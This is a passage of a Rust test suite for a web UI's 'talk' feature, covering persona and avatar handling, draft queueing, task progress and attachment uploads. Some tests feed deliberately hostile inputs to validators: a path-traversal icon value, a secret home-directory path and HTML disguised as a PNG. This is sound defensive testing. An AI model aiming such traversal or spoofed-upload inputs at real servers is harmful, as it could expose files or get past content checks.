14792 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14793 let oversized = format!(
14794 "data:image/png;base64,{}",
14795 "A".repeat(persona_icon::ICON_MAX_BYTES)
14796 );
14797 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14798 let extra = format!(
14799 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14800 );
14801 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14802 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14803 .await
14804 .expect("detail with invalid icon");
14805 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14806 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14807 assert_eq!(status, StatusCode::OK);
14808 assert_eq!(ct, "image/svg+xml");
14809 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14810 let Json(view) = talk_persona(
14811 State(Arc::clone(&ui)),
14812 Path(id.clone()),
14813 Json(TalkPersona {
14814 persona: "custom".into(),
14815 }),
14816 )
14817 .await
14818 .expect("persona switch with invalid icon");
14819 assert_eq!(view.talk.persona, "custom");
14820 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14821 }
14822 }
14823
14824 #[tokio::test]
14825 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14826 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14827 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14828 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14829 assert_eq!(
14830 (status, ct.as_str(), nosniff, csp),
14831 (StatusCode::OK, "image/svg+xml", true, true)
14832 );
14833 }
14834
14835 #[tokio::test]
14836 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14837 let (_t, _h, ui, id, _repo) =
14838 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14839 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14840 .await
14841 .expect("detail");
14842 let json = serde_json::to_string(&detail).unwrap();
14843 assert!(
14844 !json.contains("secret"),
14845 "the icon setting must not leak: {json}"
14846 );
14847 assert!(
14848 detail
14849 .view
14850 .persona_avatar
14851 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14852 );
14853 assert_eq!(
14854 detail.view.operator_avatar,
14855 format!(
14856 "/avatars/operator.svg?v={}",
14857 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14858 )
14859 );
14860 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14861 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14862 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14863 assert!(rei.avatar.contains("persona=rei&v="));
14864 assert_ne!(
14865 rei.avatar.split("&v=").nth(1),
14866 plain.avatar.split("&v=").nth(1)
14867 );
14868 }
14869
14870 #[tokio::test]
14871 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14872 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14873 let cfg = config_for(&repo).await.unwrap();
14874 for arrived in [false, true] {
14875 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14876 let observed = ui.queued_generation(&id);
14877 let talk = ui.talks.get(&id).unwrap();
14878 if arrived {
14879 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14880 }
14881 let mut settling = std::pin::pin!(settle_settings_turn(
14882 talk,
14883 ui.talks.clone(),
14884 cfg.clone(),
14885 id.clone(),
14886 turn,
14887 observed
14888 ));
14889 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14890 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14891 assert_eq!(first.is_pending(), arrived);
14892 if arrived {
14893 assert!(!settling.await);
14894 }
14895 assert!(!ui.is_thinking(&id));
14896 }
14897 }
14898
14899 #[tokio::test]
14900 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14901 let tmp = TempDir::new().expect("tempdir");
14902 let repo = tmp.path().join("repo");
14903 std::fs::create_dir_all(&repo).expect("repo dir");
14904 std::fs::write(
14905 repo.join("magi.toml"),
14906 format!(
14907 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14908 ),
14909 )
14910 .expect("write magi.toml");
14911 let home = TempDir::new().expect("temp home");
14912 let talks = Talks::at(home.path().join("talks"));
14913 let ui = Arc::new(
14914 Ui::new(
14915 Queue::at(home.path().join("queue")),
14916 Questions::at(home.path().join("questions")),
14917 talks.clone(),
14918 home.path().join("runs"),
14919 home.path().to_path_buf(),
14920 repo.clone(),
14921 )
14922 .with_worktrees_root(home.path().join("wt")),
14923 );
14924 let cfg = config_for(&repo).await.expect("discover config");
14925 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14926 let id = talk.id.clone();
14927 let call = |persona: &str| {
14928 talk_persona(
14929 State(Arc::clone(&ui)),
14930 Path(id.clone()),
14931 Json(TalkPersona {
14932 persona: persona.to_owned(),
14933 }),
14934 )
14935 };
14936
14937 let unknown = call("nobody").await.expect_err("unknown persona");
14938 assert_eq!(
14939 unknown.status,
14940 StatusCode::BAD_REQUEST,
14941 "{}",
14942 unknown.message
14943 );
14944
14945 {
14946 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14949 let busy = call("rei").await.expect_err("busy talk");
14950 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14951 assert!(
14952 busy.message.contains("a talk turn is running"),
14953 "{}",
14954 busy.message
14955 );
14956 drop(guard);
14957 }
14958 assert_eq!(talks.get(&id).expect("reload").persona, "");
14959
14960 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14961 assert_eq!(view.talk.persona, "gendo");
14962 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14963 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14964 for chosen in ["default", "gendo", "rei", "gendo"] {
14966 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14967 assert!(!view.thinking);
14968 assert!(!ui.is_thinking(&id));
14969 }
14970
14971 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14972 .await
14973 .expect("detail");
14974 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14975 assert_eq!(ids.first(), Some(&"default"));
14976 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14977
14978 let Json(view) = call("default").await.expect("back to default");
14979 assert_eq!(view.talk.persona, "");
14980
14981 let mut closed = talks.get(&id).expect("reload");
14982 talk::close(&mut closed, &talks).expect("close");
14983 let refused = call("rei").await.expect_err("closed talk");
14984 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14985 assert!(
14986 refused.message.contains("takes no more turns"),
14987 "{}",
14988 refused.message
14989 );
14990 }
14991
14992 #[tokio::test]
14993 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14994 let f = Fixture::start().await;
14995 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14996 let queue = f.queue();
14997 let mut mine = Task::new(
14998 "rename the loader".to_owned(),
14999 "rename the loader".to_owned(),
15000 PathBuf::from("/repo/magi"),
15001 Source::Agent {
15002 run: talk_id.clone(),
15003 node: "chat".to_owned(),
15004 },
15005 );
15006 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15007 assert_eq!(empty["task_progress"]["state"], "none");
15008 assert_eq!(empty["task_progress"]["total"], 0);
15009 queue.put(&mut mine).expect("file the task");
15010 let mut theirs = Task::new(
15011 "unrelated".to_owned(),
15012 "unrelated".to_owned(),
15013 PathBuf::from("/repo/magi"),
15014 Source::Human,
15015 );
15016 theirs.origin_chat = Some(talk_id.clone());
15018 queue.put(&mut theirs).expect("file the task");
15019
15020 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15021 assert_eq!(res.status, 200, "{}", res.body);
15022 let body = res.json();
15023 assert_eq!(
15024 body["status"], "open",
15025 "filing a task does not close a talk"
15026 );
15027 let tasks = body["tasks"].as_array().expect("tasks array");
15028 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15029 assert_eq!(tasks[0]["id"], mine.id);
15030 for status in [
15031 TaskStatus::Queued,
15032 TaskStatus::Running,
15033 TaskStatus::Held,
15034 TaskStatus::Failed,
15035 TaskStatus::Blocked,
15036 TaskStatus::Parked,
15037 TaskStatus::Done,
15038 TaskStatus::Queued,
15039 ] {
15040 mine.status = status;
15041 queue.put(&mut mine).expect("update status");
15042 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15043 let progress = &detail["task_progress"];
15044 assert_eq!(progress["total"], 1);
15045 assert_eq!(progress["counts"][status.as_str()], 1);
15046 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15047 assert_eq!(detail["status"], "open", "completion never closes the chat");
15048 if status == TaskStatus::Done {
15049 assert_eq!(progress["state"], "complete");
15050 assert_eq!(progress["done"], 1);
15051 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15052 } else {
15053 assert_eq!(progress["state"], "incomplete");
15054 assert_eq!(progress["done"], 0);
15055 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15056 }
15057 }
15058 }
15059
15060 #[test]
15061 fn talk_task_progress_counts_mixed_statuses() {
15062 let mut tasks: Vec<_> = [
15063 TaskStatus::Queued,
15064 TaskStatus::Running,
15065 TaskStatus::Held,
15066 TaskStatus::Failed,
15067 TaskStatus::Blocked,
15068 TaskStatus::Parked,
15069 TaskStatus::Done,
15070 ]
15071 .into_iter()
15072 .map(|status| {
15073 let mut task = Task::new(
15074 "task".into(),
15075 "task".into(),
15076 PathBuf::from("/repo"),
15077 Source::Human,
15078 );
15079 task.status = status;
15080 task
15081 })
15082 .collect();
15083 let progress = talk_task_progress(&tasks);
15084 assert_eq!(progress.state, "incomplete");
15085 assert_eq!(progress.total, 7);
15086 assert_eq!(progress.done, 1);
15087 assert_eq!(progress.unfinished_ids.len(), 6);
15088 assert!(progress.counts.values().all(|count| *count == 1));
15089 assert_eq!(
15090 progress.unfinished_ids,
15091 tasks[..6]
15092 .iter()
15093 .map(|task| task.id.clone())
15094 .collect::<Vec<_>>()
15095 );
15096
15097 for task in &mut tasks {
15098 task.status = TaskStatus::Done;
15099 }
15100 let complete = talk_task_progress(&tasks);
15101 assert_eq!(complete.state, "complete");
15102 assert_eq!(complete.done, 7);
15103 assert!(complete.unfinished_ids.is_empty());
15104 tasks[0].status = TaskStatus::Queued;
15105 let requeued = talk_task_progress(&tasks);
15106 assert_eq!(requeued.state, "incomplete");
15107 assert_eq!(requeued.done, 6);
15108 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15109
15110 let empty = talk_task_progress(&[]);
15111 assert_eq!(empty.state, "none");
15112 assert_eq!(empty.total, 0);
15113 assert_eq!(empty.done, 0);
15114 assert!(empty.unfinished_ids.is_empty());
15115 assert!(empty.counts.values().all(|count| *count == 0));
15116 }
15117
15118 #[tokio::test]
15119 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15120 let (_tmp, _repo, f) = talk_fixture().await;
15121 let id = f.post("/api/talks", None).await.json()["id"]
15122 .as_str()
15123 .expect("id")
15124 .to_owned();
15125
15126 let res = f
15127 .post(
15128 &format!("/api/talks/{id}/say"),
15129 Some(r#"{"text":"what does the queue module do?"}"#),
15130 )
15131 .await;
15132 assert_eq!(res.status, 202, "{}", res.body);
15133 let queued = res.json();
15134 let turns = queued["turns"].as_array().expect("turns array");
15135 assert_eq!(
15136 turns.len(),
15137 1,
15138 "the answer reflects only what is on disk the instant it is sent, \
15139 before the agent's turn - which can run for the whole of \
15140 `[graph] timeout_talk` - has a chance to land: {queued}"
15141 );
15142 assert_eq!(turns[0]["who"], "operator");
15143 assert_eq!(turns[0]["body"], "what does the queue module do?");
15144 assert_eq!(
15145 queued["thinking"], true,
15146 "the accepted response exposes the background turn claim: {queued}"
15147 );
15148
15149 let mut turns_after = 1;
15150 for _ in 0..SETTLE_STEPS {
15151 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15152 turns_after = detail["turns"].as_array().expect("turns array").len();
15153 if turns_after == 2 {
15154 break;
15155 }
15156 tokio::time::sleep(Duration::from_millis(10)).await;
15157 }
15158 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15159 }
15160
15161 #[tokio::test]
15188 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15189 let tmp = TempDir::new().expect("tempdir");
15190 let repo = tmp.path().join("repo");
15191 std::fs::create_dir_all(&repo).expect("repo dir");
15192 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15193 let home = TempDir::new().expect("temp home");
15194 let talks = Talks::at(home.path().join("talks"));
15195 let ui = Arc::new(
15196 Ui::new(
15197 Queue::at(home.path().join("queue")),
15198 Questions::at(home.path().join("questions")),
15199 talks.clone(),
15200 home.path().join("runs"),
15201 home.path().to_path_buf(),
15202 repo.clone(),
15203 )
15204 .with_worktrees_root(home.path().join("wt")),
15205 );
15206 let cfg = config_for(&repo).await.expect("discover config");
15207
15208 for delay in 0..40u32 {
15209 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15210 let id = talk.id.clone();
15211
15212 let handler = tokio::spawn(talk_say(
15213 State(Arc::clone(&ui)),
15214 Path(id.clone()),
15215 Ok(Json(NewTalkTurn {
15216 reply_to: None,
15217 text: "what does the queue module do?".to_owned(),
15218 attachments: Vec::new(),
15219 })),
15220 ));
15221 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15222 handler.abort();
15223 let _ = handler.await;
15226
15227 let mut turns = 0;
15228 for _ in 0..SETTLE_STEPS {
15229 if let Ok(fresh) = talks.get(&id) {
15230 turns = fresh.turns.len();
15231 if turns != 1 {
15232 break;
15233 }
15234 }
15235 tokio::time::sleep(Duration::from_millis(10)).await;
15236 }
15237 assert_ne!(
15238 turns, 1,
15239 "delay {delay}: talk {id} recorded the operator's turn but \
15240 the agent never answered - the reply task was never \
15241 started after the handler future was dropped"
15242 );
15243 }
15244 }
15245
15246 #[tokio::test]
15291 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15292 let tmp = TempDir::new().expect("tempdir");
15293 let repo = tmp.path().join("repo");
15294 std::fs::create_dir_all(&repo).expect("repo dir");
15295 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15296 let home = TempDir::new().expect("temp home");
15297 let talks = Talks::at(home.path().join("talks"));
15298 let ui = Arc::new(
15299 Ui::new(
15300 Queue::at(home.path().join("queue")),
15301 Questions::at(home.path().join("questions")),
15302 talks.clone(),
15303 home.path().join("runs"),
15304 home.path().to_path_buf(),
15305 repo.clone(),
15306 )
15307 .with_worktrees_root(home.path().join("wt")),
15308 );
15309 let cfg = config_for(&repo).await.expect("discover config");
15310
15311 for attempt in 0..3u32 {
15312 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15313 let id = talk.id.clone();
15314 let turn_guard = ui
15317 .begin_talk_turn(&id)
15318 .expect("claim the turn")
15319 .expect("a fresh talk owes nobody a turn");
15320
15321 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15322 let (release_tx, release_rx) = std::sync::mpsc::channel();
15323 ui.set_busy_queue_gate(BusyQueueGate {
15324 reached: reached_tx,
15325 release: release_rx,
15326 });
15327
15328 let handler = tokio::spawn(talk_say(
15329 State(Arc::clone(&ui)),
15330 Path(id.clone()),
15331 Ok(Json(NewTalkTurn {
15332 reply_to: None,
15333 text: "what does the queue module do?".to_owned(),
15334 attachments: Vec::new(),
15335 })),
15336 ));
15337
15338 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15343 .await
15344 .unwrap_or_else(|_| {
15345 panic!(
15346 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15347 )
15348 })
15349 .expect("the busy branch dropped the gate without using it");
15350 assert!(
15351 crate::consult::try_publication_guard(&talks, &id)
15352 .expect("publication fence")
15353 .is_none(),
15354 "a queued worker cannot promote text before its successor reservation is published"
15355 );
15356
15357 let closing = Arc::clone(&ui.admissions).write_owned();
15361 tokio::pin!(closing);
15362 std::future::poll_fn(|cx| {
15363 assert!(closing.as_mut().poll(cx).is_pending());
15364 std::task::Poll::Ready(())
15365 })
15366 .await;
15367 assert!(
15368 ui.begin_admission().is_err(),
15369 "replacement blocks later admissions"
15370 );
15371
15372 let running = talks.get(&id).expect("reload talk");
15379 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15380
15381 handler.abort();
15385 let _ = handler.await;
15386 std::future::poll_fn(|cx| {
15387 assert!(
15388 closing.as_mut().poll(cx).is_pending(),
15389 "HTTP cancellation must not abandon a publishing transaction"
15390 );
15391 std::task::Poll::Ready(())
15392 })
15393 .await;
15394 assert!(
15395 crate::consult::try_publication_guard(&talks, &id)
15396 .expect("publication fence after disconnect")
15397 .is_none()
15398 );
15399
15400 let _ = release_tx.send(());
15406 drop(
15407 tokio::time::timeout(Duration::from_secs(5), closing)
15408 .await
15409 .expect("short admission transaction should release for replacement"),
15410 );
15411 assert!(
15412 crate::consult::try_publication_guard(&talks, &id)
15413 .expect("publication fence after acknowledgement")
15414 .is_some(),
15415 "the publication fence is not retained by the long response"
15416 );
15417
15418 let mut fresh = talks.get(&id).expect("reload talk");
15421 for _ in 0..SETTLE_STEPS {
15422 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15423 break;
15424 }
15425 tokio::time::sleep(Duration::from_millis(10)).await;
15426 fresh = talks.get(&id).expect("reload talk");
15427 }
15428 assert!(
15429 fresh.pending.is_empty() && fresh.turns.len() == 2,
15430 "attempt {attempt}: talk {id} left the operator's text queued \
15431 with no drainer - the reclaimed turn was dropped along with \
15432 the handler future (pending {:?}, {} turns)",
15433 fresh.pending,
15434 fresh.turns.len()
15435 );
15436 }
15437 }
15438
15439 #[tokio::test]
15440 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15441 let (_tmp, _repo, f) = talk_fixture().await;
15442 let id = f.post("/api/talks", None).await.json()["id"]
15443 .as_str()
15444 .expect("id")
15445 .to_owned();
15446 let store = f.talks();
15447 let mut recovered = store.get(&id).expect("opened talk");
15448 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15449 .expect("persist pending draft without a live turn");
15450
15451 let edited = f
15452 .post(
15453 &format!("/api/talks/{id}/pending/edit"),
15454 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15455 )
15456 .await;
15457 assert_eq!(edited.status, 200, "{}", edited.body);
15458 assert!(edited.json()["thinking"].as_bool().unwrap());
15459
15460 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15461 for _ in 0..SETTLE_STEPS {
15462 if detail["turns"].as_array().expect("turns").len() == 2 {
15463 break;
15464 }
15465 tokio::time::sleep(Duration::from_millis(10)).await;
15466 detail = f.get(&format!("/api/talks/{id}")).await.json();
15467 }
15468 let turns = detail["turns"].as_array().expect("turns");
15469 assert_eq!(
15470 turns.len(),
15471 2,
15472 "the recovered draft must run once: {detail}"
15473 );
15474 assert_eq!(turns[0]["body"], "corrected");
15475 assert_eq!(detail["pending"], "");
15476 }
15477
15478 #[tokio::test]
15479 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15480 let tmp = TempDir::new().expect("tempdir");
15481 let repo = tmp.path().join("repo");
15482 std::fs::create_dir_all(&repo).expect("repo dir");
15483 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15484 let f = Fixture::with_repo(repo).await;
15485 let id = f.post("/api/talks", None).await.json()["id"]
15486 .as_str()
15487 .expect("id")
15488 .to_owned();
15489 let store = f.talks();
15490 let mut recovered = store.get(&id).expect("opened talk");
15491 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15492 .expect("persist pending draft without a live turn");
15493
15494 let refused = f
15495 .post(
15496 &format!("/api/talks/{id}/say"),
15497 Some(r#"{"text":"new message"}"#),
15498 )
15499 .await;
15500 assert_eq!(refused.status, 409, "{}", refused.body);
15501 assert!(refused.body.contains("resume"), "{}", refused.body);
15502 let saved = store.get(&id).expect("draft remains after refusal");
15503 assert!(saved.turns.is_empty());
15504 assert_eq!(saved.pending, "saved before restart");
15505
15506 let say_path = format!("/api/talks/{id}/say");
15507 let (first, second) = tokio::join!(
15508 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15509 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15510 );
15511 assert_eq!(first.status, 409, "{}", first.body);
15512 assert_eq!(second.status, 409, "{}", second.body);
15513 let saved = store
15514 .get(&id)
15515 .expect("draft remains after concurrent refusals");
15516 assert!(saved.turns.is_empty());
15517 assert_eq!(saved.pending, "saved before restart");
15518
15519 let resumed = f
15520 .post(&format!("/api/talks/{id}/pending/resume"), None)
15521 .await;
15522 assert_eq!(resumed.status, 202, "{}", resumed.body);
15523 let duplicate = f
15524 .post(&format!("/api/talks/{id}/pending/resume"), None)
15525 .await;
15526 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15527
15528 for _ in 0..SETTLE_STEPS {
15529 if store.get(&id).expect("talk").turns.len() == 2 {
15530 break;
15531 }
15532 tokio::time::sleep(Duration::from_millis(10)).await;
15533 }
15534 let finished = store.get(&id).expect("finished talk");
15535 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15536 assert_eq!(finished.turns[0].body, "saved before restart");
15537 assert!(finished.pending.is_empty());
15538 }
15539
15540 #[tokio::test]
15541 async fn an_image_only_recovered_draft_resumes_without_text() {
15542 let (_tmp, _repo, f) = talk_fixture().await;
15543 let id = f.post("/api/talks", None).await.json()["id"]
15544 .as_str()
15545 .expect("id")
15546 .to_owned();
15547 let uploaded = f
15548 .post_bytes(
15549 &format!("/api/talks/{id}/attachments"),
15550 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15551 PNG_BYTES,
15552 )
15553 .await;
15554 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15555 let attachment = f
15556 .talks()
15557 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15558 .expect("attachment metadata")
15559 .expect("stored attachment");
15560 let store = f.talks();
15561 let mut recovered = store.get(&id).expect("opened talk");
15562 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15563
15564 let resumed = f
15565 .post(&format!("/api/talks/{id}/pending/resume"), None)
15566 .await;
15567 assert_eq!(resumed.status, 202, "{}", resumed.body);
15568 for _ in 0..SETTLE_STEPS {
15569 if store.get(&id).expect("talk").turns.len() == 2 {
15570 break;
15571 }
15572 tokio::time::sleep(Duration::from_millis(10)).await;
15573 }
15574 let finished = store.get(&id).expect("finished talk");
15575 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15576 assert!(finished.turns[0].body.is_empty());
15577 assert_eq!(finished.turns[0].attachments.len(), 1);
15578 assert!(finished.pending_attachments.is_empty());
15579 }
15580
15581 #[tokio::test]
15582 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15583 let (_tmp, _repo, f) = talk_fixture().await;
15584 let id = f.post("/api/talks", None).await.json()["id"]
15585 .as_str()
15586 .expect("id")
15587 .to_owned();
15588 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15589 assert_eq!(closed.status, 200, "{}", closed.body);
15590 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15591 .expect("serialize closed talk");
15592 for (path, body) in [
15593 (format!("/api/talks/{id}/pending/resume"), None),
15594 (
15595 format!("/api/talks/{id}/pending/clear"),
15596 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15597 ),
15598 (
15599 format!("/api/talks/{id}/pending/edit"),
15600 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15601 ),
15602 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15603 ] {
15604 let response = f.post(&path, body).await;
15605 assert_eq!(response.status, 409, "{}", response.body);
15606 }
15607 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15608 .expect("serialize closed talk");
15609 assert_eq!(
15610 after_clear, before_clear,
15611 "clear must not rewrite a closed talk"
15612 );
15613 }
15614
15615 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15618
15619 #[tokio::test]
15620 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15621 let tmp = TempDir::new().expect("tempdir");
15622 let repo = tmp.path().join("repo");
15623 std::fs::create_dir_all(&repo).expect("repo dir");
15624 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15625 let f = Fixture::with_repo(repo).await;
15626 let id_a = f.post("/api/talks", None).await.json()["id"]
15627 .as_str()
15628 .unwrap()
15629 .to_owned();
15630 let id_b = f.post("/api/talks", None).await.json()["id"]
15631 .as_str()
15632 .unwrap()
15633 .to_owned();
15634
15635 let a = f
15636 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15637 .await;
15638 assert_eq!(a.status, 202, "{}", a.body);
15639 assert_eq!(a.json()["thinking"], true);
15640 let b = f
15641 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15642 .await;
15643 assert_eq!(b.status, 202, "{}", b.body);
15644 assert_eq!(b.json()["thinking"], true);
15645
15646 let listed = f.get("/api/talks").await.json();
15647 for id in [&id_a, &id_b] {
15648 let view = listed
15649 .as_array()
15650 .unwrap()
15651 .iter()
15652 .find(|talk| talk["id"] == *id)
15653 .unwrap();
15654 assert_eq!(view["thinking"], true, "{listed}");
15655 }
15656 let repeated = f
15657 .post(
15658 &format!("/api/talks/{id_a}/say"),
15659 Some(r#"{"text":"again"}"#),
15660 )
15661 .await;
15662 assert_eq!(repeated.status, 202, "{}", repeated.body);
15663 assert_eq!(repeated.json()["pending"], "again");
15664 }
15665
15666 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15669
15670 #[tokio::test]
15671 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15672 let f = Fixture::start().await;
15673 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15674
15675 let res = f
15676 .post_bytes(
15677 &format!("/api/talks/{id}/attachments"),
15678 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15679 PNG_BYTES,
15680 )
15681 .await;
15682 assert_eq!(res.status, 201, "{}", res.body);
15683 let body = res.json();
15684 assert_eq!(body["name"], "shot.png");
15685 assert_eq!(body["mime"], "image/png");
15686 assert_eq!(body["bytes"], PNG_BYTES.len());
15687 let att_id = body["id"].as_str().expect("id").to_owned();
15688 assert_eq!(
15689 att_id.len(),
15690 32,
15691 "the id must never be a client-suppliable path: {att_id}"
15692 );
15693
15694 let got = f
15695 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15696 .await;
15697 assert_eq!(got.status, 200, "{}", got.body);
15698 assert_eq!(got.header("content-type"), Some("image/png"));
15699 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15700 assert_eq!(got.bytes, PNG_BYTES);
15701 }
15702
15703 #[tokio::test]
15704 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15705 let f = Fixture::start().await;
15706 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15707
15708 let svg = f
15711 .post_bytes(
15712 &format!("/api/talks/{id}/attachments"),
15713 &[("Content-Type", "image/svg+xml")],
15714 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15715 )
15716 .await;
15717 assert!(
15718 (400..500).contains(&svg.status),
15719 "svg must be refused: {} {}",
15720 svg.status,
15721 svg.body
15722 );
15723 assert!(svg.body.contains("SVG"), "{}", svg.body);
15724
15725 let text = f
15726 .post_bytes(
15727 &format!("/api/talks/{id}/attachments"),
15728 &[("Content-Type", "text/plain")],
15729 b"just some text",
15730 )
15731 .await;
15732 assert!(
15733 (400..500).contains(&text.status),
15734 "an unlisted type must be refused: {} {}",
15735 text.status,
15736 text.body
15737 );
15738
15739 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15742 let big = f
15743 .post_bytes(
15744 &format!("/api/talks/{id}/attachments"),
15745 &[("Content-Type", "image/png")],
15746 &oversized,
15747 )
15748 .await;
15749 assert_eq!(
15750 big.status,
15751 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15752 "{}",
15753 big.body
15754 );
15755 }
15756
15757 #[tokio::test]
15758 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15759 let f = Fixture::start().await;
15760 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15761
15762 let res = f
15765 .post_bytes(
15766 &format!("/api/talks/{id}/attachments"),
15767 &[("Content-Type", "image/png")],
15768 b"<html>not a picture</html>",
15769 )
15770 .await;
15771 assert!((400..500).contains(&res.status), "{}", res.body);
15772 }
15773
15774 #[tokio::test]
15775 async fn an_unknown_attachment_id_is_a_404() {
15776 let f = Fixture::start().await;
15777 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15778
15779 let res = f
15780 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15781 .await;
15782 assert_eq!(res.status, 404, "{}", res.body);
15783 }
15784
15785 #[tokio::test]
15786 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15787 let f = Fixture::start().await;
